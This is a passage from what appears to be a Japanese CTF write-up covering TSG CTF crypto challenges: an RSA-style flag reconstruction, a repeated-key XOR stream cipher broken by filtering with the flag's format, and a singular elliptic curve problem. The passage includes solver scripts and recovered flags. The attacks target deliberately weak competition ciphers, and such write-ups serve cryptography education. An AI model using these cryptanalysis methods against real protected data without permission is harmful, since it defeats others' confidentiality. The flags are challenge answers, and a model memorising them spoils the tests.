15724182462935088662707915446655107878278152894209881300967803307334781347515606304746531472463196270125945780931765849147216669235630418637875694444778675771594247113061143844136107527843426140240070502431201960657331892635213118991405460668666027672294906783791441223090507736721265283630015340939375871798311963795515181453223204337362840111547002251197009848653679561190486710064616795228154486847718903419257804283649208020835219877286500226549440463845774258811597945314325403472598511132833259835975605936073505765246811661546643859844350550681749257518136665405784760339373876106842193544962035364141936283753, 16010598613006269242394494415481073404802885743759056303920374396389364406805008152009154054902831052653758678196829556029416363334310779301534650601102392985616360749664385284718557734612612334579643566581651102242306222193227111260448228193714693240481130347390382116855512299873569881326939972343314570039547897580924071328599722614389921295511670529095683738107704146361532800780429539031159556496976109863114080778133301779747597407525649360836980458868113543694436862963884485475906909931191611405995601484367864575876650055986787526037062685039522257827670426684466191523819658566267710796063797508503673575508, 16176225157815061780398885654620420828395273758161309313595904684794782916031471005382323856662285262373051339479066795020066992972796748770489374700029745240899106774349950323621974876991346899532267757945372794675963763211677154442477490480764334758589065403101041835380412036155680032278713692380636751799800174173937468277604554776759076686957635653867348211328058462563934841255845438021673179325752005903202195307236777237380608739528664802974483747876242106584283139484518385093456386588108230286642702223901374448669968747735244954159162896226605024555185352576619896951345620018917148886974802087005061112135, 16681188269653223654724315030136682210774552752554458086958468278548783168739866695726975896035811383412108751120213372631892032120642218357242947180926422406518062384144340315186804028028673285952917556435047990619394575021747680589947318197008430952647870055239411272055715760414079469566525762018667573302151696340104245475784099738670745323261117058044792751584716381734074389247651104965039208100878784761184187575420884985536037251587193757974760803271209026578181938823090178086385927565035063194430696540320842560908821318551920518079959829776767797371769064772564881430027427764161144068312324251665729488780, 17829658117323428808747868598742075440062137591346852189083905589271168845051505272630777599191830286419880652433509964145788364929611644511812576526573426916933568982874857304389571078641719134887390902234897633109911630620064342448365833021501305097046535685687516423128015236731938861706627775842928316810722656485753731575710818024516292222339926273882441860157758675960292785969030577768637311050941129992914285935037973635612973287046435622821551354639344767359753011162290622995439092970304336429989082391680592785895499607898534896211918901223135266662562647266007027360588113757029416715494934165222739616683, 18142530606909716062376251786389643324197492525662369626779351589827519710596398063341881492070698478957535529402981903035193439593816123316087575219925977686245766113691521350584328679759502382807285523704968935762596078425008178057360086647386696939735982650179504583840710564525731340265745482252714541820058727354731450644763797071558334414897585733667272516453556559972684675125516239673811780523512745567106915629379361310179451294037943334450423100411431081620714967277818090200519889910181746783471882899674667241036338987708997780333893361059800622713833148966642131905197255377905810743498001951198125311059, 18916874915493297936079891268802075451235734846035427583955430843324283662366324633202233385782932817340850020378986785716061936989209245162032573305936283861299211919092036584752926046345006676182392365941514696661367329055550272171753927543111392356350737216020653037731493630053105987250335352958368913760588484193482490045930904427197949983588313643868410274754829287237363788001109161904345279546393663787324578514084534019735002594130069819170331383328434044289905874038021158845855747798172165049208337121421852611456896877370705022828767867961460247191792131749388018583310316369606660652603473617620362220776, 19761531445789644550941649188821673088534370105097262343329866705687995865103813168376859916409080934942621503804632853819460640556129955518535485874638416201423297931706690054251711146751875933841075798086049232897482741510517534219163312537149829346821694199026849981873391746409094894635786418504655918594084378562506966684113615145069297495931332254115518216812302704944162971621215874347240778158691664956918543903100361085291794226778736356304744575442579466683011144983985184446648189753472950753969800901371318514176099102941183927711143295688852105189853285767981704534129685617787251540530767915253022947490, 20256094547551427361159536964089120192470579547856867798123148497076148597338094007239708853868154430044018965669548800520357708625488500840886524107263842898564620995651088843299156623903379275911887021467406220229809304913979273339544306605180744927202065302617395980949445708701034751035277692178613703611237789111970396029694552402613307432231659723290421165555788483472386785358943811922285121036435102796254087074468046006584551405865525781432291674627713381806461231003764884384009047079053403228562795215671383412031358781402019097452515349062662042796744413040430120541108838183559554461277378419187930920413, 20363523683403754850477941996268145873307803894978921710228462628146999736940222671129222862265160379946415684464747917659662321205107403115837157035374067466188228334375906081151411079001619437896818940656122691708169785711806055272700179185892964477917806030204206763229340531579796772278526520943763997401381029845705999036446407497831084737277684996161128395539244139220962069262836778956401801008041186706885436332324336681638085145485728737526432916392575653655187967807139187810035548902309557063161478464221501395056289134752409225031789805569864167180786090815982754846720197089740299363472750121282729340973, 20814912434079654358712994986655938285672355659172554521972448981339195273278087029468453535698010595236459533086499060463317723686547000241667857244712653564557545738168820338242942485233926997951781862259839493112100996378583435254659260667047548564231904421776634552680502559175487802626042304303449745827230709927179704869112666087937034760280611168221409540432787302943151703739428105219869226885922197133645265907625314478690899327851652074282189138427005746519010639537824886929608878348016360424645895051778822009871610495121610883214100573360743476671172464995366677557757239376079084722813893096016326823606, 20978978782083985514808414763592752188297832781732994978611517153950737776001188808668923478821417090172961435355822072526474663371493271175072308071960227368747274906534977118068778902399152185246696702689800010100729290250592141361416806610123159371068751278126481137723149743960233299432386251076215253444110113219693470037719585135531616598037376091905011497168565184564212550608338331996940342482386974738408168008861574665395721197042150006344988032346900944468633093984681022454475106597004968263850271320396630355903399323458669065574677651201990075334529713587085951400864385000308137999968746200082025015416, 21510393992991434219771555281382073811886457282216421285690979093137458508475954568419056773565332788894486275426908163637126421408657102596322971185031241956913463507854888295227362444328359266706872420059719619657069662925599952624262906407162386789979523361641558714567193670965811155805593371330497659154542639258412356476199441487088405118103359273682288473187622391831093531374603531951020860755898239699034003278466710154923269181470911166256665818879112416320538492976301262952831443514831107346725637206419870968005748691921100981160236843650083592044728031025798498262451919405184577923803192873012465402408, 21702370286383142896382980896421981414971906140748132749535149467159561579953330771029906461700411301795811236217402115596536451372996903939804016345835732303546870765245612262653631530944318690150045446899350265189274003884240988723566380751519278171721537440720211256644999794264781281823566708722358903968738834874217357352233640572984862487562571610283183746852625175244503706166323292070046358158579157876780137070957640130723554973407811810584917266738218587446647624045843454142231125439581659799761005303756629310091897520981148547565077534090671712715361212723249781422387730181374938558849132220687101010195]

L = 33

def calc(o1, o2):
  return pow(o1,e,N) * pow(o2,e,N) % N

def challenge(flag, pos, next_char, current_clues):
  if pos == L-2 and next_char=="}":
    if current_clues[0] == calc(ord(flag[-2]), ord("}")):
      print("".join(flag))
      return True
    else:
      return False
  else:
    cand = calc(ord(flag[pos]), ord(next_char))
    if cand in current_clues:
      _flag = copy.copy(flag)
      _flag[pos+1] = next_char
      _clues = copy.copy(current_clues)
      _clues.remove(cand)
      res = False
      for x in range(0x20,0x7f):
        _res = challenge(_flag, pos+1, chr(x), _clues)
        res = res or _res
      if res:
        return True
      return False
    else:
      return False
  return False

flag = list("TSGCTF{" + ("\x00"*(L-8)) + "}")
assert len(flag) == 33

for i in range(6):
  clues.remove(calc(ord(flag[i]), ord(flag[i+1])))

for x in range(0x20,0x7f):
  if challenge(flag, 6, chr(x), clues):
    break

フラグ

TSGCTF{OK,IsTHi5A_un1qUe-flag?XD}

途中、なぜか「TSGCTF{OK,IsTHi5A_un1qUe-」で探索が失敗してしまい、ゴニョゴニョしながら時間を溶かしていました。競技中の生成物は捨ててしまっていて、なぜ治ったのかは謎です。

5.3. Streamer（125 pts, 60 solved）

設問

　同じく easy（難しい）問題で、提供されたスクリプト等は以下です。

「encrypt.py」

import secrets
import hashlib
import base64
import re

pattern = re.compile("[a-zA-Z0-9!-/:-?\[-`|~]+")
flag_content = b"@@REDUCTED@@"
assert pattern.fullmatch(flag_content.decode())

flag_hash = hashlib.md5(flag_content).digest()
flag = b"TSGCTF{"+flag_content+b"@"+base64.b64encode(flag_hash)+b"}"

key_stream = list(secrets.token_bytes(16))
encrypted_flags = [flag[i]^key_stream[i%16] for i in range(len(flag))]

print("cipher =",encrypted_flags)
print("flag_length =",len(flag))

「output.txt」

cipher = [163, 227, 86, 67, 200, 14, 176, 188, 101, 214, 117, 82, 99, 71, 199, 117, 139, 130, 78, 43, 224, 101, 183, 219, 82, 213, 70, 95, 101, 118, 133, 46, 146, 239, 98, 97, 250, 123, 183, 218, 82, 218, 1, 97, 62, 29, 145, 105, 168, 136, 116, 95, 253, 59, 148, 132, 98, 207, 118, 66, 52, 118, 197, 98, 168, 201, 126, 117, 195, 61, 184, 141, 82, 210, 86, 98, 47, 118, 144, 58, 221, 192, 99, 48, 224, 98, 185, 129, 108, 152, 25, 97, 96, 85, 173, 58, 148, 194, 104, 124, 182, 99, 162, 216, 99, 157, 117, 106, 59, 64, 213, 25, 148, 217, 109, 42, 224, 101, 183, 219, 127, 236, 67, 26, 12, 29, 174, 118, 153, 213, 78, 43, 245, 52, 151, 199, 113, 214, 117, 66, 121, 72, 141, 111, 168, 194, 112, 43, 244, 123, 183, 218, 82, 199, 86, 19, 47, 29, 141, 26, 139, 239, 112, 95, 239, 99, 185, 141, 57, 222, 117, 22, 58, 89, 153, 117, 133, 156, 78, 98, 233, 60, 148, 129, 121, 236, 67, 26, 12, 64, 159, 53, 196, 152, 100, 124, 174, 45, 148, 138, 104, 155, 75, 75, 32, 76, 174, 47, 131, 239, 100, 115, 175, 59, 148, 156, 101, 214, 117, 26, 103, 85, 173, 105, 139, 213, 78, 114, 168, 38, 175, 135, 96, 236, 68, 75, 62, 17, 194, 52, 211, 239, 99, 101, 224, 98, 248, 220, 38, 128, 86, 23, 63, 80, 223, 25, 146, 222, 123, 111, 229, 23, 163, 137, 101, 210, 66, 95, 12, 19, 220, 111, 218, 138, 56, 45, 166, 97, 139, 188, 90, 195, 28, 77, 2, 113, 152, 34, 165, 252, 88, 67, 250, 44, 163, 167, 64, 234, 1, 119, 18, 20, 204, 59]
flag_length = 304

検討

　16 バイトの key stream が判明すれば復号できます。

　フラグの形式から 8 バイトは自明なので、残り 8 バイトをどう得るかを考えます*4。

解法

　不明の key stream について、そのまま総当たりするのは厳しいので、各々候補を絞って出た候補を総当たりします。

　具体的には、暗号文が pattern から外れるようなものを候補から除外してゆくと計算可能な程度にまで候補が絞れます。

ソルバ

「solve.py」

import re
import copy
import itertools
import hashlib
import base64

pattern = re.compile("[a-zA-Z0-9!-/:-?\[-`|~]+")
pattern2 = re.compile("[0-9a-zA-Z+/]*={0,2}")
cipher = [163, 227, 86, 67, 200, 14, 176, 188, 101, 214, 117, 82, 99, 71, 199, 117, 139, 130, 78, 43, 224, 101, 183, 219, 82, 213, 70, 95, 101, 118, 133, 46, 146, 239, 98, 97, 250, 123, 183, 218, 82, 218, 1, 97, 62, 29, 145, 105, 168, 136, 116, 95, 253, 59, 148, 132, 98, 207, 118, 66, 52, 118, 197, 98, 168, 201, 126, 117, 195, 61, 184, 141, 82, 210, 86, 98, 47, 118, 144, 58, 221, 192, 99, 48, 224, 98, 185, 129, 108, 152, 25, 97, 96, 85, 173, 58, 148, 194, 104, 124, 182, 99, 162, 216, 99, 157, 117, 106, 59, 64, 213, 25, 148, 217, 109, 42, 224, 101, 183, 219, 127, 236, 67, 26, 12, 29, 174, 118, 153, 213, 78, 43, 245, 52, 151, 199, 113, 214, 117, 66, 121, 72, 141, 111, 168, 194, 112, 43, 244, 123, 183, 218, 82, 199, 86, 19, 47, 29, 141, 26, 139, 239, 112, 95, 239, 99, 185, 141, 57, 222, 117, 22, 58, 89, 153, 117, 133, 156, 78, 98, 233, 60, 148, 129, 121, 236, 67, 26, 12, 64, 159, 53, 196, 152, 100, 124, 174, 45, 148, 138, 104, 155, 75, 75, 32, 76, 174, 47, 131, 239, 100, 115, 175, 59, 148, 156, 101, 214, 117, 26, 103, 85, 173, 105, 139, 213, 78, 114, 168, 38, 175, 135, 96, 236, 68, 75, 62, 17, 194, 52, 211, 239, 99, 101, 224, 98, 248, 220, 38, 128, 86, 23, 63, 80, 223, 25, 146, 222, 123, 111, 229, 23, 163, 137, 101, 210, 66, 95, 12, 19, 220, 111, 218, 138, 56, 45, 166, 97, 139, 188, 90, 195, 28, 77, 2, 113, 152, 34, 165, 252, 88, 67, 250, 44, 163, 167, 64, 234, 1, 119, 18, 20, 204, 59]
flag_length = 304

assert len(cipher) == flag_length

def xor(lst_k, lst_v):
  res = ""
  Lk = len(lst_k)
  Lv = len(lst_v)
  for i in range(Lv):
    if lst_k[i%Lk] == -1:
      res += "*"
    else:
      res += chr(lst_k[i%Lk]^lst_v[i])
  return res

flag_head = "TSGCTF{"
_keystream = []
#[247, 176, 17, 0, 156, 72, 203, -1, -1, -1, -1, -1, -1, -1, -1, 70]
#TSGCTF{********3|2_+|-|********he_saf3|********/_8e_as_********$_you_us********|*pr0|*r********|cry|*+i********_ci|*|-|********0ne_+i|\********)_ra+h3|********\|_a_s+r********3r,_but_********s3(u|2e_********it_us3s_********/|e_r4nd********r$_re|*3********_enjoy_h********)-:)-:)@********dRLICfdh********}
for i,c in enumerate(flag_head):
  _keystream += [ord(c)^cipher[i]]

for _ in range(8):
  _keystream += [-1]

_keystream += [cipher[flag_length-1]^ord("}")]

kscands = []
for i in range(8):
  ks_cand = []
  __keystream = copy.copy(_keystream)
  for j in range(256):
    __keystream[i+7] = j
    result = xor(__keystream, cipher)
    if pattern.fullmatch(result[7:-26].replace("*","")) and pattern2.fullmatch(result[-25:-1].replace("*","")):
      ks_cand.append(j)
  kscands.append(ks_cand)


combinations = list(itertools.product(*kscands))
for combination in combinations:
  keystream = _keystream[0:7] + list(combination) + _keystream[15:]
  result = xor(keystream, cipher)
  flag_content = result[7:-26].encode()
  flag_hash = hashlib.md5(flag_content).digest()
  flag = b"TSGCTF{"+flag_content+b"@"+base64.b64encode(flag_hash)+b"}"
  if flag == result.encode():
    print(keystream)
    print(flag)
    exit()

フラグ

TSGCTF{The_l0n63|2_+|-|3_fla6_the_saf3|2_i+_m4`/_8e_as_lo|\|g_4$_you_use_a|\|_a|*pr0|*ria+3_3|\|cry|*+i0n._Thi$_ci|*|-|3r_i$_4_0ne_+i|\/|e_|*a|)_ra+h3|2_t|-|4|\|_a_s+re4m_(iph3r,_but_it_i$_ins3(u|2e_be(ause_it_us3s_the_$4|\/|e_r4ndom_num83r$_re|*34+3|)ly._enjoy_hahaha_:-)-:)-:)@TWp6sQXidRLICfdhOMY+IA==}

ちなみに、keystreamは [247, 176, 17, 0, 156, 72, 203, 232, 13, 179, 42, 62, 83, 41, 241, 70] でした。

6. upsolve：Delta Force

設問

　楕円曲線（っぽい）問題で、難易度は med-hard（鬼難しい）です。

　問題のスクリプトは SageMath なのに、点のスカラー倍を計算するコードが自前で提供されているということは「欠陥が仕込まれている」か「特異３次曲線」のいずれか、という guess をした後は虚無ってしまい競技中は解けず、でした。

　提供されたデータは以下です。

「problem.sage」

from secret import flag, p, q
from random import SystemRandom
from elliptic_curve import EC

randgen = SystemRandom()
flag += randgen.randbytes(4000 // 8 - len(flag))

f = int.from_bytes(flag, 'big')

assert is_prime(p) and is_prime(q)
N = p * q

R = IntegerModRing(N)
a1 = 3444824117328398332287263145797436732251806993106742790395834211847964497185277822582276657225459760388222788879721727159251866924984494193150653447997603422024763484501407319338008268962141938450376210742802690040775147155751979207058246773645433214949878635670705292205381078390234806850698450436295039666701444937613310617521432088399287665787963949201472844240626719755639541622668049779611715534511220207225102143578882951630506067975785576764801948143058724733822144338788356792891770883002340632245863711872613052190283826616336575324956755899252734899170625497650729243855116042931056447582929301386147920258970755559531421290327063656641559627787073648816453940473655239389908124156165660612689742708373129625588902351602100066924000586976472002309478648159182392535906994995800868902052484891895077235974622067641022944028349866339918120322601296386357756768384853576175451997137719762217320524852380281306558568086807531481968542709466317624453868591793889254468119495169851711195495759784642140806249730424816684480869755835873209370137831042713895026824607183567837804652629953877811080875706500232620906814427668853420025632618707903884500390164422694087209611134445691988003327081785238633702578226975041727958225979248
a2 = 4220657222012863331324022021142115292430597859080918473466273569402786623644966310284686263413321809614975935231589489145653176283755430651257679731781262317639561791314044939921047444940366477586782714676520254598940573251619654210976091118990997406140690658178297711641467793763708001463760191631954449349373914543810395796693214118750609853712197438805175066472570862155591695398007261950273250419125590885574184123001650088433861794755115025331664101776274304102152026455526993460636375440860820326183280743695950579713987688972720640809806839932354448804340284231962944525194259756907531717198723001750563548268505211429663171672155787847084254266041562202569381862742321261337515852288555029875114541634885657856133098628215411753502113867694678392848794557484127610549206348398062803815886751442822499835138675419957858172635972565996494066738623225918806510140877651509362663492336907193615683425402286293202044753906775875048228709714069705104761393891056850481333000346334315445516137338415611089281223529138332726805624561300099605623576433557163093276115663323973176583225088838201896098818427080076586531335010187255421257962154369044435187402303275044435710879669190744621547057417343865042642742729067785757980481708859
a3 = 558053328032569214424924749545080533443204882028700727482902138363914391087914135627507971718720092171365715176468371521485896504111397460977870822260356387271441953304205921733941102285137843514136574063019959717801987678942331305387691085139598494776572670276131522348754285564338055692053988854672468173283148136803799971745169459014171760554786948833430079164649604597281764343627794445260768624935380114208794996054926094746197686261155891021796742555943693683944342826702912295474954080037614961638746950712216471978826697133699862893226784981265765142815822633931592954799220290654691131583229398813285377913420963860081950349348483037678920450399593707900050487766675868613974940533801078648072478704480320992819463523521796820516675896346804256470328012501588846038478735042417434318823499002305595773925357668467999973946928610673937683220558175159559156997545114017452579732447461296275895921770517350210742318724221387478901570280816476239783222112611595977063375839821604111374772017365123591082565390414268391105301111128872682556523124017007950528192427992576438666158999223964016832132347716369554217989660103488591183333215808683339519953259563788055147227130961325434300468212866224123613198733255438000371632201922
a4 = 2409686375529009789062931255151047632553317432871776325977708342575413199868316454516429658254297349908818913648555980905703570378332587211687821833449657319227648023632420349187191203817874908900476265222298630491560124293474130368070578796806092666424986915614853373703916476738812448576677939067552273549664051607033578697950875075526433604321513839183621143953874375023537101509580661583818118731853042627460126855311689628082748074373313182940270826734960431153626135619589835441991890840853823329308534081784864288751938169059434234048947117786007806754996810687735558766333300269431436238258613338745620540366591367671960393239014177679790515185719633955796780366907613116424879434375841785615553717631204945754610331568039531504256955328591989055229298718736414870488253515207480047458000235126179100545819505116852001595203600550936946736697235151062411659082614156384876100227239703938652351269150744501265963390460907632240209469881951684654686080310235283814858158697321466052098007166972602271670115754787224397477919994078767466888020504989901616066772072069140729395181856385314368564511799911756649356907893283650510564887020660017016305620069469798431462964593287090869656274770620420259560247021263773251031107077438
a6 = 3470078186850975739936630083585896206711668380019576458144812382551000399461688662828677551712010444136267839539406491436511536191302115255607338126938721757383820709517878001719275207381244220611138211706395289668473890524220737794043932299829801331641728237036572688318923881312268142947916987785394869895788825813684029625439890374199544512146238573470714240061775578066493778177577497298263101431584499987449107860867974717092406776136120389083101744667140157701396393579936132771094350025878985948459504771054936108295811485497516064375315362547356890406207151247645039645122690527467942787823829138406220130486124334447966832679079367832094353016955534024520702689217787284596726932360141615033646357533622370473604448340917687731406312733759882955505680683319971990286000213361326741481930432680541754817125379558827748942025713721383525941123614481097102581692748593322507617409022332312218948944026657739136377028053975532295249075420561511608283484307148039184136388494407661178023614238682702894250591567479031985618265675418397712856074006023785411792521236472702522327496551883792053117847879265359876050067289453559871911346351148700042996957200697205104421637140069904198053600305602065464319177142877679781718358115411

x = 3187380289473628229166076722741605522066106734974330968029363462853994178034889323396549034418774714004310597327299938638132972121767717298791108552121182926252120215568543440680511528729320460150972551785766528743150693345444523026329817473750107100977751329156774721144063214517285726358018274335181425122425497682910915355289941993635789204613409760838922069179423532756084124424087369187079085568561566146028731452307769275341282229672567986555625437613270131401345164990913073456655478295677780849952336452819811133154540184923229453881172046434709663594257091451745029926858800906234840424320289294896839680690069966831649763526212416442961133572796128363987883784263178284726172207323075552538055360106875136163073733438818095552239514221846774992407935815625138205772383894721080363344299257591334491217283076801413291378680281026191916099741354829618889407157244425285493750026510597867261891663671051439047441921123676903663738851276574650416199443198000844605048534594681961771316401603946312451699473847875708346024353289399679978116606272338553246201412764667063871923809515939019235129599135013826180754092409070369916743385338966842753295793028555461533907357857077718994569945179301205081583517722938903924076665161044
y = 3098509628622199032118889410483498131367153585346875063187101858846530923677876883688759300004198379875832388354339483427258628984564188587177660880817830979516874750329732607401997056978414818886317043638783781007690534739021969383875639013225069704552442992187754882339991182056369690510439789934317089638780423707333159124535609705606295588910501964436737250259915950704729890743964057623145716533126214373974194784113312896436317252284869588214466286181124050804480953801866558673847704787898982600498747562456653841097050232470321543436789172232099599127971642034835964697711543521559007789014820299180115236028167277348348032904641115578872979829671579406457760784565977595271755930086750953607663935048590611365120577239940466584901735242180094939957609545245177604315541505004948250587350636338636915644227983529643209843144781082102080871034333050105691539153291831079893973988409961640177613779257702061258595947270721984862788409947895289380176754001635912693165856017623626949014494500443988487409429044235792054307487109200214875223031796045288551137200587375732192809300189009239330821740285801646366723787253158915642748289216793582895026761306175028926426159594779782097763953591584903850004456396580915118506266981337

P = (x, y)

ec = EC(R, (a1, a2, a3, a4, a6))
assert ec.iszeropoint(P) == True

print(N)
print(ec.scalar(f, P))

「output.txt」

4861176438018509277765150221122126870541685654379801604114760532814287581153000210004207389443213309449018955338869863741674740447811975915078711903955681567092381171537713559560343153877511977292098222368485399204912122010227229078270969924905169787592189375418475308051129528888568681568734206072034666373423912365236817972608366602899547226744432299234711173306225399948633496091891925021506066051269505274591577497904167584767303718241171649947539664809546498443661211509926990737931523544728384428153032760216353730801234655930548104422024130570816728659653538260845032772371478140823258876790879087834215578099103687121280145961921389449249461303695127426477060016215875089488915916633794518511956116049451487462341914580430836466289069310852902452441670591766542607475566151856004189541762250121764347455770924195541519142036527843854325635334990763891612540761801228294679227675034333748671488131374369328481523920448620362794582130982555488343842058198241325525060402667145213028907534526536473479495813172523174608010901013909785818541505226347899760377967331689016937903306728695776347712900417640623152047417427405267791933202247836823133253708561331399337585694285673510222776175851823031760492810621651225757782530492371
(2940137648302822135887768405733428618361214020026143318586301618329372655276898009551187352450543631241584953409424998458467844898870748818109962017628692856154502911778246629019987248210711081379384038506544899037017094206431000794646201463294660352565581410940316447059413267990280103085282255573960006012422254599380011885107374758617951885988212493389139714778955997592191645456603116305632632160041751363247794842614094023112577912814096859442106924317927245381355215404305882813647647808165973585096785363719791485657642484540219214405059891658285454539795978892636754583882973657007442901458945664345488978832970375753192565978853522306244584220151446267601777829062885902539106413866798108556472482002577646588557387807715633128913787076005721277459341934855424070398364463323364862109833382659277887541400854089319386644417923424987803584644908821750251870682987388817038606082810492054657719015315239443896190699718636785628585029435696899067125128349522932992790811417433696577333575752911124735242072095229457254742656832308956471177564651299639347093754244273997643353109038338400428109043737885400764768339281104454669195785957709561673360000645367092746262324437783858934652428309563075654233156559693135917215127084839, 4309188751202413994756093118871339651868155545296257835957631283548458290549834043239999619160131639470537688107285148019375428000337112432317175093336043210190860875690929878131126549041446002208047334350876371320870374521378167548031473971584407464547121329256935748386784077512111069027529070091090512274046019879131201709340032343094129650445987190535015392973173123256087780783994874319281164700525019310387007282075836894663864145318825896934077504337916357614201204461113478545772364849985793786972947231991982415597625212515186739391531585821996127328710500026236144903951637427245223426748300366460373759173484339176020599231393473092295681626107718784321631623410699469438511433557396045657573993803277529816220655895923559584651137391079923579080103751692260916441921214236122141145982485958870445890303087859026075184149723430563928025165528170894575097071775485154541104075542976068077112038847635378050578747036715486956987048325200527662369726957499097289967832182678228473153601275262332757733205093157880270604049046032523006585325029448952623263419851474313757519250802143143825231591931300564658633698464656605919184597056629222214865044578470955523959024153014386918508244536074045249645182811691608730763212420747)

「elliptic_curve.py」

# We don't think you need to worry too much about this file.

class EC:
    O = (0, 1, 0)

    def __init__(self, k, a):
        a1, a2, a3, a4, a6 = map(k, a)
        self.f = lambda x, y: y**2 + a1*x*y + a3*y - x**3 - a2*x**2 - a4*x - a6
        self.dfdx = lambda x, y: a1*y - 3*x**2 - 2*a2*x - a4
        self.dfdy = lambda x, y: 2*y + a1*x + a3
        self.a1 = a1
        self.a2 = a2
        self.a3 = a3
        self.a4 = a4
        self.a6 = a6
        self.k = k

    def iszeropoint(self, p):
        if p == EC.O:
            return True
        x, y = p
        assert not (self.dfdx(x, y) == 0 and self.dfdy(x, y) == 0)
        return self.f(x, y) == self.k(0)

    def negate(self, p):
        if p == EC.O:
            return EC.O
        x, y = p
        return (x, -y - self.a1*x - self.a3)

    def add(self, p1, p2):
        assert (self.iszeropoint(p1) and self.iszeropoint(p2))
        if p1 == EC.O:
            return p2
        if p2 == EC.O:
            return p1
        if self.negate(p1) == p2:
            return EC.O
        if p1 == p2:
            x, y = p1
            x1, x2, y1, y2 = x, x, y, y
            l = (3*x**2 + 2*self.a2*x + self.a4 - self.a1*y) / \
                (2*y + self.a1*x + self.a3)
            n = (-x**3 + self.a4*x + 2*self.a6 - self.a3*y) / \
                (2*y + self.a1*x + self.a3)
        else:
            x1, y1 = p1
            x2, y2 = p2
            l = (y2 - y1) / (x2 - x1)
            n = (y1*x2 - y2*x1) / (x2 - x1)
        x3 = l**2 + self.a1*l - self.a2 - x1 - x2
        y3 = -(l + self.a1) * x3 - n - self.a3
        assert (self.iszeropoint((x3, y3)))
        return (x3, y3)

    def scalar(self, a, p):
        ret = EC.O
        i = 1
        tmp = p
        while i <= a:
            if (i & a) != 0:
                ret = self.add(ret, tmp)
            tmp = self.add(tmp, tmp)
            i <<= 1
        return ret

検討

「欠陥が仕込まれている」ようには見えなかったので、「特異３次曲線」を疑います。

SageMathで、E = EllipticCurve(R,[a1,a2,a3,a4,a6]) としてみると Singular Curve だと言って怒られるので、後者確定です。

しかし判別式を計算してみても 0 になりませんでした*5。おかしいなぁ、ということで競技が終わりました。

解法（競技後に実施したこと）

　チョコラスクさん（@nuo_chocorusk）の Twitter*6での簡易 Write up によると「式変形を進めると p をリークできて、mod.pでcusp、mod.qでnode。さらにq+1はsmooth。」とのことでした。

　このヒントをもとに、解読を進めることにします。なお、以下のサイトが非常に参考になりました。

zenn.dev

STEP 0：ec が特異３次曲線であることのチェック

判別式を計算すると 0 になることを確認しました。

from Crypto.Util.number import *

N = 4861176438018509277765150221122126870541685654379801604114760532814287581153000210004207389443213309449018955338869863741674740447811975915078711903955681567092381171537713559560343153877511977292098222368485399204912122010227229078270969924905169787592189375418475308051129528888568681568734206072034666373423912365236817972608366602899547226744432299234711173306225399948633496091891925021506066051269505274591577497904167584767303718241171649947539664809546498443661211509926990737931523544728384428153032760216353730801234655930548104422024130570816728659653538260845032772371478140823258876790879087834215578099103687121280145961921389449249461303695127426477060016215875089488915916633794518511956116049451487462341914580430836466289069310852902452441670591766542607475566151856004189541762250121764347455770924195541519142036527843854325635334990763891612540761801228294679227675034333748671488131374369328481523920448620362794582130982555488343842058198241325525060402667145213028907534526536473479495813172523174608010901013909785818541505226347899760377967331689016937903306728695776347712900417640623152047417427405267791933202247836823133253708561331399337585694285673510222776175851823031760492810621651225757782530492371
R = IntegerModRing(N)

P = (3187380289473628229166076722741605522066106734974330968029363462853994178034889323396549034418774714004310597327299938638132972121767717298791108552121182926252120215568543440680511528729320460150972551785766528743150693345444523026329817473750107100977751329156774721144063214517285726358018274335181425122425497682910915355289941993635789204613409760838922069179423532756084124424087369187079085568561566146028731452307769275341282229672567986555625437613270131401345164990913073456655478295677780849952336452819811133154540184923229453881172046434709663594257091451745029926858800906234840424320289294896839680690069966831649763526212416442961133572796128363987883784263178284726172207323075552538055360106875136163073733438818095552239514221846774992407935815625138205772383894721080363344299257591334491217283076801413291378680281026191916099741354829618889407157244425285493750026510597867261891663671051439047441921123676903663738851276574650416199443198000844605048534594681961771316401603946312451699473847875708346024353289399679978116606272338553246201412764667063871923809515939019235129599135013826180754092409070369916743385338966842753295793028555461533907357857077718994569945179301205081583517722938903924076665161044, 3098509628622199032118889410483498131367153585346875063187101858846530923677876883688759300004198379875832388354339483427258628984564188587177660880817830979516874750329732607401997056978414818886317043638783781007690534739021969383875639013225069704552442992187754882339991182056369690510439789934317089638780423707333159124535609705606295588910501964436737250259915950704729890743964057623145716533126214373974194784113312896436317252284869588214466286181124050804480953801866558673847704787898982600498747562456653841097050232470321543436789172232099599127971642034835964697711543521559007789014820299180115236028167277348348032904641115578872979829671579406457760784565977595271755930086750953607663935048590611365120577239940466584901735242180094939957609545245177604315541505004948250587350636338636915644227983529643209843144781082102080871034333050105691539153291831079893973988409961640177613779257702061258595947270721984862788409947895289380176754001635912693165856017623626949014494500443988487409429044235792054307487109200214875223031796045288551137200587375732192809300189009239330821740285801646366723787253158915642748289216793582895026761306175028926426159594779782097763953591584903850004456396580915118506266981337)
Q = (2940137648302822135887768405733428618361214020026143318586301618329372655276898009551187352450543631241584953409424998458467844898870748818109962017628692856154502911778246629019987248210711081379384038506544899037017094206431000794646201463294660352565581410940316447059413267990280103085282255573960006012422254599380011885107374758617951885988212493389139714778955997592191645456603116305632632160041751363247794842614094023112577912814096859442106924317927245381355215404305882813647647808165973585096785363719791485657642484540219214405059891658285454539795978892636754583882973657007442901458945664345488978832970375753192565978853522306244584220151446267601777829062885902539106413866798108556472482002577646588557387807715633128913787076005721277459341934855424070398364463323364862109833382659277887541400854089319386644417923424987803584644908821750251870682987388817038606082810492054657719015315239443896190699718636785628585029435696899067125128349522932992790811417433696577333575752911124735242072095229457254742656832308956471177564651299639347093754244273997643353109038338400428109043737885400764768339281104454669195785957709561673360000645367092746262324437783858934652428309563075654233156559693135917215127084839, 4309188751202413994756093118871339651868155545296257835957631283548458290549834043239999619160131639470537688107285148019375428000337112432317175093336043210190860875690929878131126549041446002208047334350876371320870374521378167548031473971584407464547121329256935748386784077512111069027529070091090512274046019879131201709340032343094129650445987190535015392973173123256087780783994874319281164700525019310387007282075836894663864145318825896934077504337916357614201204461113478545772364849985793786972947231991982415597625212515186739391531585821996127328710500026236144903951637427245223426748300366460373759173484339176020599231393473092295681626107718784321631623410699469438511433557396045657573993803277529816220655895923559584651137391079923579080103751692260916441921214236122141145982485958870445890303087859026075184149723430563928025165528170894575097071775485154541104075542976068077112038847635378050578747036715486956987048325200527662369726957499097289967832182678228473153601275262332757733205093157880270604049046032523006585325029448952623263419851474313757519250802143143825231591931300564658633698464656605919184597056629222214865044578470955523959024153014386918508244536074045249645182811691608730763212420747)

